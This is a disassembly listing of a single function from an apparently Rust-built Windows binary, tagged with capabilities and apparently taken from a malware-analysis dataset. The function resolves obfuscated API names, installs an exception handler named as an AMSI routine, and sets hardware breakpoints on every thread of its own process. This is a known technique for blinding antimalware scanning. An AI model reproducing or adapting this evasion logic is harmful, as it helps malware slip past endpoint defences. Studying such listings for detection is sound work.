Function at 0x1000b2b0
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x328
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x330]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x101c2028], 0
mov dword [ebp - 0x334], 0x1003f
jne 0x1000b42f
lea eax, [0x101682e8]
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x5f39dc80
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h75b6a8ba425993ec
add esp, 8
mov ecx, 0x8bfb5972
mov edx, 0xfa784a18
xor ecx, dword [eax]
xor edx, dword [eax + 4]
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
lea esi, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 8
push esi
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x1000b910
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
test eax, eax
jne 0x1000b36f
push dword [ebp - 0x14]
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
test eax, eax
je 0x1000b8c7
lea eax, [0x101636bb]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x15fa94e5
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h82617000ceadb9b0
add esp, 8
mov ecx, 0x86a13edd
mov edx, 0x8e230260
mov ebx, 0x2381dfb7
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0xc
xor ah, 0x42
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ebx
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push esi
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x1000b943
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
push esi
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x1000b7e1
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov byte [0x101c2028], 1
mov dword [0x101c202c], eax
mov byte [esi], 0
je 0x1000b416
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x1000b42f
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
cmp byte [0x101c2030], 0
jne 0x1000b572
lea eax, [0x10165303]
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0xedd0dce1
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h1c3d7a805734fbc9
add esp, 8
mov ecx, 0x4b4516b9
mov edx, 0xdbda0c70
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x1a
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov byte [ebp - 0x48], al
lea ebx, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 9
push ebx
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x1000b976
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
lea eax, [0x1016126b]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3a526d79
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h26dad74eb0337aca
add esp, 8
mov ecx, 0x8260712c
mov edx, 0x4f356ce
mov esi, 0xab7e9abb
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x4f
xor ah, 0x13
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], esi
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push ebx
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x1000b9a6
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
push ebx
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x1000b817
test esi, esi
mov byte [0x101c2030], 1
mov dword [0x101c2034], eax
mov byte [ebx], 0
je 0x1000b556
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x1000b572
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
push sym.__ZN10crypt_file9amsi_care17exception_handler17h8e09c72723c59d2cE_4
push 1
call sub.kernel32.dll_AddVectoredExceptionHandler
xorps xmm0, xmm0
mov esi, eax
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
lea eax, [ebp - 0x3c]
push 0
push 0x18
push eax
push 0
push 0xffffffffffffffff
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
mov dword [ebp - 0x54], 1
jne 0x1000b5b1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
mov eax, dword [0x101918ac]
movzx eax, byte [eax]
push 1
push 0x100000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x1000b904
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
push ecx
push 0x100000
mov dword [ebp - 0x40], eax
push eax
push 5
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x1000b876
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0
test eax, eax
mov dword [ebp - 0x68], eax
je 0x1000b876
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x60], esi
mov eax, ecx
add eax, 0xb8
mov dword [ebp - 0x64], eax
nop dword [eax + eax]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10], edx
cmp dword [ecx + edx + 0x44], eax
je 0x1000b660
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx + edx]
test eax, eax
je 0x1000b6ec
add edx, eax
cmp edx, dword [ebp - 0x68]
jb 0x1000b630
jmp 0x1000b6ec
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [eax + ecx + 4]
test ebx, ebx
je 0x1000b63c
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x10]
lea esi, [eax + ecx]
jmp 0x1000b693
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edi*4], ecx
inc edi
mov dword [ebp - 0x1c], edi
add esi, 0x40
dec ebx
je 0x1000b63c
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x50], 0
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
mov eax, dword [esi + 0x24]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x1fffff
lea eax, [ebp - 0x5c]
push eax
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x1000b68d
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
cmp edi, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
jne 0x1000b680
lea eax, [ebp - 0x24]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h508c0ad7697c9864
add esp, 4
jmp 0x1000b680
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
test edi, edi
je 0x1000b85e
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push 1
push 0x100000
push ecx
call sym.___rust_dealloc
add esp, 0xc
shl edi, 2
mov dword [ebp - 0x10], esi
nop word cs:[eax + eax]
test esi, esi
je 0x1000b7c2
mov ebx, dword [esi]
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x1000b89e
cmp byte [0x101c2028], 1
jne 0x1000b76d
mov eax, dword [0x101c202c]
mov dword [ebp - 0x330], eax
movzx eax, word [ebp - 0x31c]
or eax, 1
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
cmp byte [0x101c2030], 1
jne 0x1000b79b
mov eax, dword [0x101c2034]
mov dword [ebp - 0x32c], eax
movzx eax, word [ebp - 0x31c]
or eax, 4
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x1000b89e
add esi, 4
push ebx
call sub.ntdll.dll_NtClose
add edi, 0xfffffffc
jne 0x1000b720
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 0x60]
mov dword [ebx + 4], eax
mov dword [ebx], 0x80000000
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1000b8bc
jmp 0x1000b8f7
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [esi], 0
je 0x1000b8de
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x1000b8de
mov eax, dword [ebp + 8]
test esi, esi
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [ebx], 0
je 0x1000b841
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x1000b8f7
push 1
push ecx
push eax
jmp 0x1000b8ef
mov ebx, dword [ebp + 8]
test eax, eax
je 0x1000b876
shl eax, 2
push 4
push eax
push dword [ebp - 0x20]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0x100000
push dword [ebp - 0x40]
call sym.___rust_dealloc
add esp, 0xc
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
jmp 0x1000b8f7
mov ebx, dword [ebp + 8]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1000b8f7
shl eax, 2
push 4
push eax
push dword [ebp - 0x10]
jmp 0x1000b8ef
mov edi, dword [ebp - 0x14]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x1000b8f7
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
mov eax, ebx
add esp, 0x328
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x100000
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x1016cd5c
push 0x1016cce8
push edi
push 0x2b
push 0x1016ccf8
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000b9d7
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x1016cd6c
push 0x1016cce8
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x1016ccf8
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000b9d7
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x1016cd7c
push 0x1016cce8
push esi
push 0x2b
push 0x1016ccf8
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x1000b9d7
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x1016cd8c
push 0x1016cce8
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x1016ccf8
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
ud2